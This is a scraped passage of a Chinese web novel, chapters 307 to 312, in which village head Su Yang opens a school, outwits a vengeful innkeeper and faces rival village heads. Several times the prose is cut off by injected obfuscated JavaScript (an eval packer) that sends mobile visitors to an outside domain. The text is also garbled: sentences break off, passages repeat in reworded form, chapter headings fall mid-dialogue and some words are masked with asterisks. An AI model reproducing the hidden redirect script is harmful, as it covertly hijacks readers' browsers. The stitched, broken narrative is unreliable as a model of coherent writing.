哪怕是之前对他冷嘲热讽,落井下石的,他也没说过一句重话,全都好言好语地哄着。 三言两语,便安抚了众人不安的心。 顾明远一伙人突然消失,着实把这些下人吓得不轻,一个个的如丧家之犬。 如今见肥掌柜既往不咎,还和以前一样,甚至比以前更好了,他们这才放下心来。看来这院子,还是原来的那个院子! …… 再说萧煞。 身负重伤的他,哪敢回清阳县城。 他不认识郑县尉,跟清阳县的官面上的人也没什么交情,身上又带着伤,血糊糊的,回去根本没法解释。 好在,先前逃走的一个土匪寻了过来,帮他取出了肩膀上的**箭。 两人一合计,清阳县是万万不能回了。回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胡家父子三人,感动得差点儿当场给苏阳跪下。 “西家,您就是我们的再生父母啊!以后我们父子这条命,就是您的了! 第三百零七章 ” 凌木匠激动得语无伦次。 “行了,别说这些虚头巴脑的,好好干活,就是对我最好的报答!” 苏阳摆摆手,笑着说道。 这些匠人,可都是他的宝贝疙瘩,将来青龙村能不能发展壮大,可全指望他们了。 铁匠作坊这边刚安顿好,那边,第一批新房也竣工了。 苏阳让人提前买好了砖瓦,又从新来的匠人里挑了几个手艺好的瓦匠。 这些瓦匠,都是逃难来的,听说有活干,一个个干劲十足。 这年头,能有口饭吃,有地方住,就已经是天大的幸事了。 新房盖得飞快。 没过多久,一排十栋新房,便拔地而起。 每栋房子之间,都留了足够的距离,足有丈许。 这样一来,既能保证采光,也能避免邻里之间因为琐事发生冲突。 每栋房子都是三间正房,外带两间偏房的设计。 正房宽敞明亮,用作日常起居和会客。 偏房则可以用来住人或者储物。 这样的房子,住一家三口或者四口人,是再合适不过了。 当然,那种十几口人的大家庭,肯定是住不下的。 苏阳建这些房子,可不是为了给自己享受。 随着青龙村的人越来越多,尤其是那些外来的匠人和帮工,原先村里的空房子,已经不够住了。 这些新房,是给他们准备的临时住所。 “阳哥儿,村子入口处出现两道身影,据说是受凤子楼那个大胖子老板指派,想见您!” 苏阳正准备去看看新房的落成情况,一个卫村队员急匆匆地跑了过来,禀报道。“报!阳哥儿,村口来了俩人,说是凤子楼的肥掌柜派来的,想见您!” 苏阳正蹲在新房地基旁,用树枝比划着房屋格局,卫村队的一个小伙子就风风火火地冲了过来。 听到“凤子楼”三个字,苏阳手里的树枝顿了一下,眉头微不可查地皱了皱,随即舒展开来,嘴角甚至还挂上了一丝玩味的笑意。 “二哥,你这是……笑啥?” 石头几个小子都看懵了。 这肥掌柜的,不是说让青虎岭的土匪给收拾了吗?怎么又冒出来了?还敢派人来? 可话一出口,石头就恨不得给自己一个大嘴巴子。 果然,周围的小子们立马怒目而视,那眼神,恨不得把他给活剥了。 陈木生,你小子找死,别拉上咱们啊! “都给我好好想想,” 苏阳站起身,拍了拍手上的土,目光在众人脸上一一扫过, “那个胖老板让人来找我,这意味着什么?” 经过这段时间的操练,这帮小子早已脱胎换骨。 苏阳话音刚落,孔远山就一个箭步冲了出来,抢着回答: “这……头一个,说明肥掌柜没死!第二个,说明他又支棱起来了!第三个……第三个说明,跑掉的那俩土匪,很可能跟他穿一条裤子了!” 孔远山一口气说了三点,说到最后,声音明显有点打颤,脑门上都渗出了汗珠。 尽管如此,大伙儿对他的印象彻底改观。 这小子,长进不小啊! 再不努力,真要被他给甩开了! 路旭东心里那个憋屈啊! 平时看孔远山那畏畏缩缩的样儿,没想到这时候还挺能嘚啵! 不行,不能让他独占鳌头! “切,这谁猜不着啊?” 路旭东撇了撇嘴,一脸不服气, “俺就问你,阳哥儿为啥笑?难不成是替那肥掌柜的开心?” “我……” 孔远山被噎得直翻白眼。 他偷眼瞄了瞄苏阳,可苏阳脸上还是那副高深莫测的表情,根本看不出喜怒。 “路旭东,你少在这儿跟我耍嘴皮子!你要是知道,你就说!在这儿埋汰俺算啥能耐!” “都给我闭嘴!” 苏阳一声低喝,两个小子顿时像被捏住了喉咙的公鸡,不吭声了。 “谁再给我胡咧咧,就去把《论语》抄十遍!” 抄书,现在可是这帮小子们最害怕的酷刑。 不给饭吃? 那都排不上号了! 现在谁肚子里都不缺油水,饿一顿算个啥! 苏阳又听了其他小子叽叽喳喳说了一阵,没一个说到要害的。 不过,他心里还是挺高兴的。 这帮小子的进步,那是有目共睹的。 虽然都没说中,但也**不离十了。 不急,慢慢来,一口吃不成个胖子。 “我笑,可不是因为那肥掌柜,” 苏阳的目光变得深邃起来, “我是笑那俩漏网的土匪没回清阳县,要么……就是让肥掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“回去告诉你们掌柜的,想吃鱼,没问题。不过,我这捕鱼的手艺,已经转让给村正了。他要是想买鱼,就让他亲自来跟村正谈。另外,告诉他,村正手里可还有不少好东西,我这身本事,都是从他那儿学的。” 说完,苏阳就让手下把这两个伙计送出了村子,连口水都没让他们喝。 第三百零八章 这一番试探,已经足够了。 青虎岭的土匪,果然已经没了,多半是让肥掌柜给送上了西天。 一群人互相对视懵圈了,都从对方眼中看到了惊骇。 阳哥儿就是阳哥儿,连对方的影子都没见着,就把事情猜了个**不离十! 真是神了! 为啥要说把打鱼秘诀卖给了村长? 你不就是那个村长本人吗? 当然,也有那脑子灵光的,比如石头、孔远山几个,早就猜到了苏阳的盘算。 “阳哥儿,您这是要……” 孔远山凑到苏阳跟前,压低声音,做了个抹脖子的手势。 几个小子顿时倒吸一口凉气,瞬间明白了苏阳的打算。 这是要……对肥掌柜下手啊! 苏阳笑了笑,反问道: “你们说说,这凤子楼的肥掌柜,是留着好,还是除了好?” “激灵灵!” 所有的小子都忍不住打了个哆嗦。 考验……又来了! 这回,抢先开口的是路旭东。 他可不能再让孔远山那小子抢了风头: “阳哥儿,这还用说吗?当然是除了好!那肥掌柜不是个东西,留着也是个祸害!” 孔远山慢了一步,气得直翻白眼。 路旭东这混蛋,怎么就处处跟自己过不去呢! “阳哥儿,我跟路旭东想的不一样,” 孔远山咬牙切齿地说, “肥掌柜不仁,咱们不能不义!不过,等他来了,我一定……让他‘宾至如归’!” 谁都听得出,孔远山这话里透着一股子狠劲儿,他对肥掌柜的恨意,那是明摆着的。 路旭东却不依不饶: “得了吧,就你那胆子?别说肥掌柜站在你面前,就是把他捆成粽子扔你脚边,你敢碰他一下吗?” “路旭东,你少跟我阴阳怪气的!”孔远山怒道,“上次要不是你拖后腿,咱们早就把那伙人给收拾了!” “放屁!明明是你自己腿软,还赖我?” 眼看两人又要掐起来,几个平时跟他们不对付的小子也加入了战团,一时间,场面乱成一锅粥。 “都给我住口!” 苏阳一声怒吼,直接一人赏了一脚,把他们踹到了一边。 “都给我滚去抄书!抄不完,谁也别想睡觉!” 几个小子顿时像泄了气的皮球一样,垂头丧气地往书院走去。 可刚一走出众人的视线,几个人就跟打了鸡血似的,拔腿就跑。 “路旭东,你小子要是敢跑过我,以后就别想跟小翠环说话!” “孔远山,你少拿小翠环吓唬我!有本事,咱们比比谁先抄完!” “比就比,谁怕谁啊!” “等着瞧,这次我非赢你不可!” 几个人一边跑,一边斗嘴,谁也不肯服输。 至于小翠环……那是谁? 管她呢,先赢了这场再说!苏阳荣升村正,大手一挥,三招下去,书院里娃声鼎沸,热闹得像是炸开了锅。 第一招,凡是来书院念书的娃,中午管饭! “管饭?” “真的假的?” “那不得赔死?” 村里人议论纷纷,都不信苏阳能这么大方。 可事实胜于雄辩。 每天中午,书院里都会飘出诱人的饭香。 当爹当妈的乐开了花,谁不想省下自家娃那口吃的? 于是,一个个跟在自家娃屁股后头,生怕来晚了没位置。 第二招,给苏阳干活的,甭管是苏阳手底下的小弟,还是泥瓦匠、帮工,只要家里有娃,不管小子丫头,统统都来念书! 有人撇嘴:“切,还不是紧着自己人。” 也有人嘀咕:“人家苏村正也没说不收咱的娃,这不是地方不够嘛。” 这一招,既扩大了招生,又让跟着苏阳混的人心里热乎乎的。 苏阳可没打算把普通村民家的娃拒之门外,更没想过搞什么“肥水不流外人田”。只是眼下书院地方就这么大,先生也凑不齐,只能先紧着自己人。 第三招,奖学金! 别处都兴用小翠花哄孩子,苏阳不来那套。他直接从钱庄里提出黄澄澄的铜钱! 考试,不管是大考还是小考,只要进了前五十名,都有奖! 第一名,一百文! 第二名,五十文! 第三名,三十文! 第四名到第十名,每人十文! 从第11到30的排名,也能得两文钱当零花。 哪怕是最后二十名,也能得一文钱,好歹是个鼓励。 更让人眼红的是,苏阳放出话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544978|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,女娃子念书更金贵,奖励直接翻倍! 这消息一出,就像在滚烫的油锅里浇了瓢凉水,瞬间炸翻了天。 “一百文?我的老天爷,我这辈子都没见过这么多钱!”一个流着鼻涕的小子,眼睛都直了。 旁边一个脏兮兮的小丫头,抹了把脸蛋子:“我要是得了这么多钱,就给我娘扯块新头巾!” 为了让孩子们更有学习的劲头,苏阳还琢磨出不少好吃好玩的零嘴儿,在书院里摆了个小摊儿。 想吃?拿钱来买! 不是白给! 孩子们得了奖,就能用赏钱买零嘴。这青龙村连个小卖铺的影儿都没有,孩子们就算手里有钱,也没地方花。 这么一来,还能防着那些抠门的爹娘把娃的赏钱给昧下,孩子们念书的劲头更足了。 苏阳还当众放话,谁要是敢说娃乱花钱,或者逼着娃把赏钱交出来,以后他家娃的奖励就直接取消! 这钱是专门用来奖励娃们好好念书的,可不能让那些黑心肝的家长给贪了。 苏阳亲手做的零嘴,花样繁多。 用薄荷叶熬出清凉的糖块;把山楂果裹上糖稀,做成酸甜的糖葫芦;还有江米条,炸得金黄酥脆;小蛋糕更是松软香甜…… 别说是青龙村这帮穷苦孩子,就连钱晓柔这见过世面的大小姐,都馋得直流口水。 小丫鬟翠环更是把苏阳当成了天上的文曲星下凡。以前还叫苏阳“小公子”,现在见了苏阳,一双水灵灵的大眼睛就直勾勾地盯着他,小脑袋瓜里就盼着苏阳能赏她点好吃的,像极了一只摇尾乞怜的小馋猫。 这些零嘴儿,苏阳都交给了林绮娘保管。 林绮娘把这些东西看得比自己的眼珠子还金贵,平日里锁在柜子里,谁也别想碰。 就连她自己,都舍不得偷吃一块。 在她心里,这些零嘴都是她二哥用“点石成金”的法子变出来的,是用来奖励那些读书用功的娃的。 平时,也就是钱晓柔和翠环能跟着沾沾光,尝个鲜。想要放开了肚皮吃?想都别想! 书院开张没多久,只进行了一次小测验。 可苏阳做的那些零嘴儿,名声却传遍了整个青龙村。 头一回吃到这么金贵的东西,那些得了奖的娃,一个个都乐开了花。 “二虎子,你吃的啥?给俺闻闻味儿! 第三百零九章 ” “不给,不给!这是我考了第一,村正爷爷赏的!” “哎呦,我的亲娘咧,这得是啥味儿啊,咋这么香?” 没得奖的娃,一个个急得像热锅上的蚂蚁,抓耳挠腮,口水流了一地。 更有几个脸皮薄的,当场就“哇”的一声哭了出来。 苏阳定下的规矩,没得奖就是没得奖,谁来求情都不好使。 这些没得奖的娃,只能眼巴巴地看着别人吃得津津有味,自己却只能闻着味儿干馋。 最后,还是林绮娘心软,偷偷从柜子里拿出一点零碎,给每个没得奖的娃都分了一点点。 就这么一丁点儿,却让这些娃感激涕零,恨不得给林绮娘磕头。 经此一事,书院算是彻底出了名。 “听说了没?村正真给娃们发钱了!” “可不是咋地!我家二丫头就得了两文钱,给她娘买了个糖人儿呢!” “哎呦,那糖人儿啥味儿啊?我家那口子,做梦都想尝一口!” “这谁知道?反正俺家娃说了,比蜜还甜!” 听孩子们把那些零嘴儿吹得神乎其神,青龙村的村民们都心痒难耐。 吃不上,让咱开开眼也行啊! 苏阳这么一折腾,原本那些不愿让自家娃读书的村民,也纷纷改变了主意,争着抢着要把娃送进书院。 尤其是那些家里有闺女的,更是积极。 女娃通常比男娃早熟,读书也更用功,得奖的自然也多。 再加上苏阳给女娃的奖励还翻倍,这让那些有闺女的人家,脸上倍儿有光。 更重要的是,女娃心思细腻,得了奖买了零嘴,往往舍不得自己独吞,还会带回家给兄弟姐妹和爹娘尝尝。 “他婶子,你家丫头又得奖了?哎呦,真是出息,将来准能嫁个好人家!” “哈哈,都是村正教得好!我家那丫头,现在可懂事了,还知道孝敬爹娘了!” “不行,明儿个我也得把我家的那几个皮猴子送去书院!再不学好,将来只能去要饭!” 以前,青龙村家家户户都一样穷,大家互相给面子。 可现在,风向变了。 只要听苏阳的话,跟着苏阳走,不仅能吃饱穿暖,娃也能给家里挣脸面。 “他大舅,你家娃又得奖了?这次得了多少钱?” “不多不多,就几个子儿。不过,我家娃说了,下次考试,他要拿第一!” “哎呦,那可了不得!你家娃要是真拿了第一,你可得请客!” 书院里娃越来越多,钱晓柔和翠环两个人都快忙不过来了。 教室太小,有些娃甚至连个坐的地方都没有,只能蹲在墙角听课。 “苏阳哥哥,你行行好,别再招人了,我俩实在教不过来了!” 翠环撅着小嘴,眼泪都快掉下来了。 钱晓柔也一脸愁容: “是啊,地方也太小了,孩子们连个转身的地方都没有。要不,咱再想想别的法子?” 苏阳眉头一皱,这事确实得好好想想。 他一拍脑门,有了! “盖新书院!” 苏阳把几个手艺最好的泥瓦匠叫到跟前,让他们设计一座新书院。 新书院要大,要能容纳一千个娃! 苏阳可不是异想天开。他早就盘算好了,等将来把周围几个村子的娃都招来,千人规模的学堂都显得拥挤。 听说苏阳要盖新书院,别说是青龙村的村民,就连外村来帮忙的工匠,都对苏阳敬佩不已。 “苏村正真是菩萨心肠啊!” “谁说不是呢!自己掏钱给娃们念书,这得是多大的善心!” “我要是能把我家娃送进这书院,我给他磕头都乐意!” “阳哥儿,三溪镇的大佬到了,听说县太爷驾到三溪镇了,点名要见你!” 麻豹气喘吁吁地跑来报信。县衙的差役通常不会直接给村正下达公文,这规矩苏阳是知道的。 所以,当那两个自称是县衙的差役出现在他面前时,苏阳的第一反应是:这事有蹊跷。 他表面上客客气气地应付着,答应马上去三溪镇,背地里却打定了主意,绝不跟这两个人一起走。 两个差役倒也识趣,见苏阳态度还算恭敬,也没敢过分为难,只是一个劲儿地催促: “苏二,你可得快着点儿!县尊大人在三溪镇等着呢,耽搁了时辰,你我都担待不起!” “放心,差爷,我省得。” 苏阳嘴上答应着,心里却另有打算。 打发走了两个差役,苏阳立刻召集了手下的一帮小子。 他没像往常一样征求大家的意见,而是直接下令: “收拾家伙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549143|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出发!” 一众小子都有些懵。 平日里,不管遇到什么事,阳哥儿总会先问问他们的想法,听听他们的建议。 可今天这是怎么了? 大伙儿心里都有些发毛,感觉少了点啥,浑身不得劲。 “还愣着干啥?想挨揍吗?” 苏阳眼睛一瞪,没好气地说道。 一众小子这才回过神来,赶紧忙活起来。 苏阳从人群中挑了十个平日里表现最机灵的小子,没骑马,也没坐车,而是准备走水路。 这些天,他可没闲着,除了日常的训练,他还教了大家一项新本事——滑冰。 为了这,苏阳还专门找了村里的木匠和铁匠,连夜赶制了一批“雪橇”。 其实就是在木板下面钉上铁条,再用皮绳绑在脚上。 别看这玩意儿简陋,可比光着脚在冰上走强多了。 这些小子都是十七八岁的年纪,正是学东西最快的时候,没几天就滑得像模像样了。 虽说还比不上后世那些专业运动员,但用来赶路,绝对比两条腿跑得快。 一行人来到卧龙沟的冰面上。 苏阳一声令下,十多个人便像离弦的箭一样冲了出去。 冰面上,留下一道道浅浅的划痕。 当初苏阳让大家练滑冰的时候,村里可没少传闲话。 有人说他这是不务正业,有人说他这是瞎胡闹。 “前些天才掉冰窟窿里,这才几天啊,就忘了疼了?” “可不是嘛,放着好好的路不走,非得在冰上折腾,这不是吃饱了撑的吗?” 现在,看到苏阳他们滑冰的速度,那些说闲话的人,一个个都闭上了嘴,恨不得找个地缝钻进去。 这哪是瞎胡闹啊,这分明是神速! …… 苏阳之所以选择走水路,一方面是因为滑冰速度快,另一方面,也是为了避开可能的危险。 那两个差役的话,谁知道是真是假? 万一是土匪设下的圈套,半路伏击,那可就麻烦了。 冰面上,一众小子兴奋地嗷嗷直叫。 他们中的很多人,一开始并不理解苏阳为什么要让他们练滑冰。 现在,他们终于明白了苏阳的良苦用心。 “阳哥儿,你是不是早就猜到县太爷会来三溪镇了? 第三百一十章 ” 一个小子忍不住问道。 苏阳笑了笑,没有回答。 冰面光滑如镜,几乎没有任何阻力。 滑冰的速度快得惊人,说是风驰电掣也不为过。 跟走路相比,滑冰的优势太大了,尤其是在长途赶路的时候,能节省大量的时间和体力。 比平常走路快了一倍,他们就远远地看到了三溪镇。 那两个送信的差役,这会儿估计还在路上吭哧吭哧地走着呢。 为了不引起轰动,也为了安全起见,苏阳没有带着大家直接滑到三溪镇,而是在离镇子还有一段距离的岸边停了下来。 “陈木生,你带两个人,先进镇子里打探一下情况。” 苏阳指着陈木生说道。 陈木生是他最信任的人,也是最得力的助手。 “阳哥儿,还是让我去吧!” “对啊,阳哥儿,这种事怎么能让你去冒险呢?” 其他小子也纷纷站出来,争着要去探路。 他们可不是在作秀,更不是在拍马屁,而是发自内心的关心苏阳。 在他们心里,苏阳就是青龙村的顶梁柱,是所有人的希望。 苏阳要是有个三长两短,青龙村的天就塌了! 别说他们的家人,就连村里的其他人,也不会放过他们。 这年头,宗族观念极强,个人利益和集体利益是紧密相连的。 为了集体,牺牲个人,那是天经地义的事情。 苏阳心里很清楚这一点,所以他没有逞强。 “行,石头,你带上孔远山,还有周二虎,你们三个一起去。” 苏阳点点头,同意了。 陈木生、孔远山、周二虎,三个人应了一声,大步朝三溪镇走去。 …… 与此同时,在清阳县城的凤子楼里。 肥掌柜正坐在太师椅上,脸色阴沉得能滴出水来。 自从他费尽心机,重新夺回凤子楼的控制权之后,就一直诸事不顺。 他最疼爱的两个儿子,竟然失踪了! 他发动了所有能发动的关系,四处打听,甚至还派人去了三溪镇,可就是一点消息都没有。 他只听说,当初青虎岭被官兵攻破的时候,吕巡检带回来了一批人质。 后来,这些人质有的被放了,有的却下落不明。 肥掌柜本想花钱找吕巡检打听打听,可还没等他动身,就传来了一个噩耗:吕巡检**,被土匪给杀了! 这下,肥掌柜彻底没了指望。 他两个儿子的线索,就这么断了。 他哪里知道,他那两个宝贝儿子,早就被萧煞给剁了。 当初,吕巡检带着人质去西安府,说是要告郑县尉的状。 结果半路上,遇到了萧煞。 吕巡检倒是跑得快,可那些人质却一个没跑掉,全落在了萧煞手里。 萧煞可不是什么善男信女,他正愁一肚子火没处撒呢。 一问这些人质的身份,竟然有肥掌柜的两个儿子,还有一位县尉亲戚在三溪镇经营着客栈! 萧煞当时就乐了: “嘿,真是踏破铁鞋无觅处,得来全不费工夫!老子正愁找不到你们呢,你们倒自己送上门来了!” 他二话不说,拔出刀来,就把这些人质全给砍了。 “什么狗屁郑县尉的亲戚,老子杀的就是你们这些狗腿子!谁让你们跟顾明远那个王八蛋穿一条裤子!” 萧煞一边砍,一边骂。 他杀红了眼,根本不管三七二十一,连两个青虎岭的俘虏也没放过。 “你们这些吃里扒外的东西,竟然想给官府当人质?留着你们也是祸害,全都给我消失!” 可怜肥掌柜,还眼巴巴地盼着儿子回家呢,却不知道,他早就绝后了。 没了儿子,肥掌柜感觉天都塌了。 这年头,讲究的就是一个“不孝有三,无后为大”。 没有后代,就等于断了香火,断了传承。 不管你有多大的家业,多高的地位,**之后,都是一场空。 肥掌柜的心态彻底扭曲了。 他现在什么都不想,只想报复。 报复郑县尉,报复土匪,报复所有跟他作对的人! 他第一个想到的,就是苏阳。 “都怪青龙村那个姓苏的小兔崽子!要不是他,老子的凤子楼怎么会落到今天这步田地?老子的儿子又怎么会失踪?” 肥掌柜越想越恨,眼睛里都快喷出火来了。 可苏阳现在不来送鱼了,这让他有力无处使。 “听说那小兔崽子把捕鱼的法子卖给了他们村正?哼,一个穷酸村正,能有什么油水?我现在对钱没兴趣,老子只想**!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549144|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肥掌柜气得浑身发抖。 他突然想起了符福: “对了,那个卖炊饼的符福,好像跟苏阳那小兔崽子关系不错……跟着学会了一手独特的蒸馒头技巧……” 肥掌柜眯起了眼睛,脸上露出了狰狞的笑容: “天堂有路你不走,地狱无门你闯进来!符福是吧?老子就先拿你开刀!”陈木生做事,苏阳向来一百个放心。 没一会儿,孔远山就火急火燎地跑回来了,带回来的消息让苏阳的眉毛拧成了一个疙瘩: “县太爷真在三溪镇!” “石头正在巡检司门口死死盯梢,暂时没发现啥异常。” 孔远山又补充了一句,声音里透着一股子小心翼翼。 “嗯……”苏阳不自觉地摸着下巴,眼神跟雷达似的扫来扫去。 心里头正翻江倒海,脸上却稳如老狗,看不出半点儿波澜: “剩下那几个管事的村正呢,都来了没?” 孔远山摇摇头,如实回答:“还没打听到,估计还没到。” 周阳自告奋勇,站出来抱拳**: “阳哥儿,我去其他几个方向瞅瞅,要是有谁来了,我立马回来报信!” “准了。”苏阳言简意赅。 …… 苏阳一声令下,手底下的人像撒出去的鱼饵,悄无声息地散落在三溪镇的各个角落。 他可不想抢着去见县令。 风头太劲,容易被人当靶子。 翅膀还没硬,就想飞上天,那不是找死么。 等了一会儿,一个手下跑回来报告,说派去青龙村送信的两个衙役已经回去了。 这消息像一滴水落进了油锅,在苏阳心里激起了一阵滋啦滋啦的响声。 又等了片刻,又有一个手下回来报告,说依山村的村正已经大摇大摆地进了三溪镇。 这下,苏阳的神经绷得更紧了。 再接着,临溪村的村正也到了。 消息一个接一个,像是催命符,逼着苏阳不得不加快节奏。 现在还没露面的,就只剩下清水村和临溪村了。 苏阳心里跟明镜似的,这几个村正,一个比一个精,谁肚子里没点儿小算盘? 等啊等,等到花儿都谢了,临溪村的王麻山才骑着一头病恹恹的驴,带着几个二流子,慢吞吞地出现在镇口。 第三百一十一章 周阳得了消息,赶紧跑来报告。 苏阳一听,心念一动,故意放慢了脚步,在镇口等着。 他得会会王麻山这老狐狸,看看能不能从他嘴里掏出点儿什么有用的东西。 王麻山人老眼不花,大老远就瞧见了苏阳,心里咯噔一下。 苏阳就像他命里的克星,一见着就准没好事。 王麻山眼皮子直跳,感觉今天这事儿有点儿邪门。 “**,真是出门没看黄历,怎么碰上这扫把星了!” 王麻山心里把苏阳骂了个狗血淋头,脸上却笑得跟朵喇叭花似的: “哎呦喂,这不是苏老弟嘛!真是稀客啊!” 王麻山嘴上客气着,心里却恨不得拿鞋底子抽苏阳的脸。 “小兔崽子,竟敢惦记老子的宝贝闺女,也不照照镜子看看自己那熊样!” “癞**想吃天鹅肉,门儿都没有!” “老子的闺女,也是你能肖想的?白日做梦!” 王麻山最近气不打一处来。 他发现自己那如花似玉的小闺女王婉苏,竟然迷上了苏阳这混小子! 这些日子,王婉苏吃啥啥不香,干啥啥没劲,一颗心早就飞到九霄苏外去了。 后来,还是赖志成家那婆娘嘴碎,王麻山才知道,自家闺女这是得了相思病! “这还了得!绝对不行!” 王麻山把脑袋摇得跟货郎鼓似的。 他算是看透了苏阳,这小子就是个惹祸精,跟他沾边准倒霉! 邪了门了,越不想见谁,就越能碰上谁。 更让王麻山郁闷的是,心里骂得再狠,脸上还得装孙子,生怕苏阳这小王八蛋给他使绊子。 苏阳今天一反常态,对王麻山那叫一个热情,不知道的还以为两人是失散多年的亲兄弟: “王老哥,您可真是及时雨啊!小弟正愁没人指点迷津呢!您见多识广,给透个底呗,县太爷把咱叫来,到底有啥贵干?” 苏阳一边说,一边暗中观察王麻山的反应。 王麻山一听这话,耳朵立马竖起来了,比兔子还机警。 “有猫腻!绝对有猫腻!” “这小子平常可没这么好说话,今天这么客气,肯定没安好心!” 王麻山心里警铃大作,脸上却堆满了笑,连连摆手: “没有没有,绝对没有!老哥我也是刚来,啥也不知道啊!” 他越是想跟苏阳撇清关系,苏阳就越是往他身边凑,那股子亲热劲儿,让人起鸡皮疙瘩: “王老哥,您就别谦虚了!走走走,咱哥俩一起进去,今天小弟我唯您马首是瞻,您指哪儿我打哪儿,您说跟谁干,咱就跟谁干!” 苏阳拍着胸脯,说得信誓旦旦。 王麻山心里直翻白眼,差点儿没忍住啐他一脸。 “放**狗屁!老子叫你动手打大老爷,你敢吗?” “这小子今天八成是抽风了,咋这么反常?” “难不成……还惦记着我家那宝贝闺女呢?” 王麻山越看苏阳,越觉得这小子像是头饿狼,盯着自己家那块肥肉。 “不行,必须离他远点儿!” “要不是干不过他,老子非一锄头拍死他个龟孙!” 两人心里各打着小九九,进了巡检司。 县太爷正在后堂打盹儿,估计是想摆摆官老爷的架子。 几位村正被衙役领到花厅候着,说是等人到齐了再一起叫进去。 王麻山和苏阳到的时候,已经有几个村正在那儿干坐着了。 他俩不是最后到的。 清水村的村正是压轴出场的。 先前青虎岭那一仗,清水村原先的村正光荣牺牲了,这位是新官上任,八成是吕巡检后来提拔的。 王麻山凑近苏阳,小声介绍:“清水村新来的村正也姓沙,叫乜明生,跟以前那位一样,都是沙家的人。” 苏阳听了,不着痕迹地打量了乜明生几眼。 也不知道是不是心理作用,他总觉得乜明生的眼神不对劲,像刀子似的,刮得他浑身不舒服。 “嗯……”苏阳摸了摸下巴,眼珠子一转,笑呵呵地走到乜明生跟前: “沙村正,咱哥俩是不是在哪儿见过?” 乜明生冷哼一声,爱答不理的: “哼,我不认得你,我兄弟跟你有过节!” 这话里夹枪带棒的,谁听不出来? “哦?”苏阳故意装傻,笑嘻嘻地问道:“那感情好啊!不知道你兄弟是哪路神仙?” “我兄弟叫乜明福,不知道苏村正还记不记得?”乜明生一字一顿地说,每个字都像是从牙缝里挤出来的。 其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦?”苏阳也不恼,笑眯眯地看着临溪村的村正,不紧不慢地问道:“敢问这位老哥,咱这几个村子的辈分是怎么论的? 第三百一十二章 难不成谁年纪小谁就矮一辈?” “这……”临溪村的村正顿时语塞。 大家族里头,老头子都八十了还得喊娃娃一声爷,这辈分的事儿,哪能说得清楚。 “哼,歪理!”临溪村的村正脖子一梗,强词夺理。 苏阳可不是吃素的,见这老家伙倚老卖老,立马就怼了回去: “我听说,你们临溪村有个叫仲翠方的,嫁给了澜江县张屠户的儿子,算起来,还是我的一个远房表姐呢。不知道这位老哥,跟仲翠方是啥关系?” 临溪村的村正姓秋,叫仲河。 他一听这话,脸都绿了。 仲翠方是他亲妹妹! 这苏阳,竟然敢拿他妹妹说事儿! 仲河气得浑身发抖,猛地站起来,指着苏阳的鼻子破口大骂: “小兔崽子,你敢占老子便宜!信不信老子抽死你!”仲河脸色一阵青一阵白,嘴唇翕动了几下,终究没敢再发出半点声音。 周围几个村正的眼神也变得飘忽不定,有几个还偷偷往后缩了缩身子,生怕被苏阳注意到。 都是老油条了,谁看不出来啊,这苏二小是真敢动手!跟这种人较劲,犯不上! 苏阳冷哼一声,目光缓缓扫过全场。 但凡被他看到的村正,无一例外都把脑袋垂得更低了。 突然,苏阳猛地一拍桌子! “砰!” 上好的红木桌面,硬生生被他拍出一个浅浅的掌印。 茶碗里的水花四溅,有几滴甚至溅到了临近村正的脸上。 可即便如此,也没人敢吭一声,更别说躲闪了。 “怎么都不说话了?” 苏阳的声音不大,却像一把把小刀子,扎在每个人的心尖上。 